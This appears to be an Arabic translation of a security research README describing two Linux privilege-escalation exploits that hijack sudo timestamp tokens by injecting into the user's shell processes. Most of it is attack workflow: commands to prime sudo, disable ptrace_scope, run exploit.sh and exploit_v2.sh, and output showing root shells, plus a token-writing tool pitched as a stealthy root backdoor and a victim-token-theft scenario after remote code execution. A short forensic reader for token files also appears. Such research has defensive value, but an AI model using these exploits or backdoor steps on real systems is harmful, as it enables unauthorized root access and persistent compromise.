
[لينكس] تقنيتان لتصعيد الامتيازات تستغلان رمز sudo
لاحظنا جميعًا أن sudo أحيانًا لا يطلب منا كلمة المرور لأنه يتذكرنا. كيف يتذكرنا وكيف يتحقق من هويتنا؟ هل يمكننا تزوير هويتنا ونصبح root؟ على حد علمي، هذا البحث غير موثّق بعد، لكن أخبرني إذا كان كذلك. في الواقع، ينشئ sudo ملفًا لكل مستخدم لينكس في /var/run/sudo/ts/[username]. تحتوي هذه الملفات على عمليات المصادقة الناجحة والفاشلة معًا، ثم يستخدم sudo هذه الملفات لتذكّر جميع العمليات الموثّقة. -- @chaignc
يوفّر لك هذا المستودع:
ملاحظة: اقرأ المتطلبات!!
$ sudo whatever
[sudo] password for user: # Press <ctrl>+c since you don't have the password. # This creates an invalid sudo tokens.
$ sh exploit.sh
.... wait 1 seconds
$ sudo -i # no password required :)
# id
uid=0(root) gid=0(root) groups=0(root)
The default password timeout is 15 minutes. So if you use sudo twice in 15 minutes (900 seconds), you will not be asked to type the user’s password again.
يقوم exploit.sh بحقن جميع عمليات الصدفة (shell) المملوكة للمستخدم الحالي ويستخدم رمز sudo الخاص بها للتحقق من رمز sudo الخاص بنا. إنه بالكاد 3 أسطر من أوامر الصدفة، ألقِ نظرة.
هذا بعيد كل البعد عن تصعيد امتيازات عام دون متطلبات، لكنه يعمل. على سبيل المثال، إذا كان لديك RCE ولا تملك كلمة مرور المستخدم ولكن الضحية يستخدم sudo، فيمكنك بسهولة الحصول على صلاحيات root بسرقة رمزه.
# echo 0 > /proc/sys/kernel/yama/ptrace_scope
# # Don't worry this is not persistent accross reboot
شغّل محطتين:
لأولئك الذين لم يحالفهم الحظ مع exploit v1، جرّب v2
$ ./exploit_v2.sh
Current process : 2441
chmod: changing permissions of 'activate_sudo_token': Operation not permitted
Injecting process 1721 -> bash
Injecting process 2433 -> bash
cat: /proc/2446/comm: No such file or directory
Injecting process 2446 ->
$ /tmp/sh -p
# id
uid=1001(test) gid=1001(test) euid=0(root) egid=0(root) groups=0(root),1001(test)
الطباعة ستتحسن، لكن كل محاولة sudo لعملية ما لها إدخال واحد في /var/run/sudo/ts/[username]. أيضًا، تُخزَّن هذه الملفات في tmpfs (الذاكرة العشوائية)، ويمكن للمرء كتابة إضافة لـ volatility لتحليل هذه المعلومات لجمع محاولات sudo.
./read_sudo_token_forensic < /var/run/sudo/ts/user
version, flags, uid, sid, starttime_sec, starttime_nsec
2, 0, 0, 0, 0, 0
2, 0, 1001, 1145, 188, 660000000
2, 0, 1001, 24878, 7461, 490000000
2, 0, 1001, 24578, 6974, 10000000
إذا كان لديك كتابة عشوائية، يمكنك إنشاء رمز sudo لعمليةك الحالية للحصول على تنفيذ كود بصلاحيات root. اطلع على './write_sudo_token $$ > /var/run/sudo/ts/[username]' في extra_tools.
إنها طريقة جيدة جدًا لإنشاء باب خلفي سري بصلاحيات root على الخوادم التي نادرًا ما تُعاد تشغيلها. لم تكتمل بعد، لكن اطلع على './write_sudo_token $$' في ./extra_tools
كنت أبحث عن طريقة لسرقة رمز sudo الخاص بعملية ميتة، لكن يبدو أن ذلك غير ممكن لأنها مرتبطة بـ ((وقت بدء العملية و معرّف جلسة العملية) أو (وقت بدء tty و معرّف جلسة tty)). يمكن انتحال معرّف الجلسة (pid العملية) لكن وقت بدء العملية ليس قابلًا للتزوير.
kernel.yama.ptrace_scope = 1
حقن كود بين العمليات في لينكس دون ptrace
https://www.linusakesson.net/programming/tty/
بواسطة @chaignc #HexpressoTeam.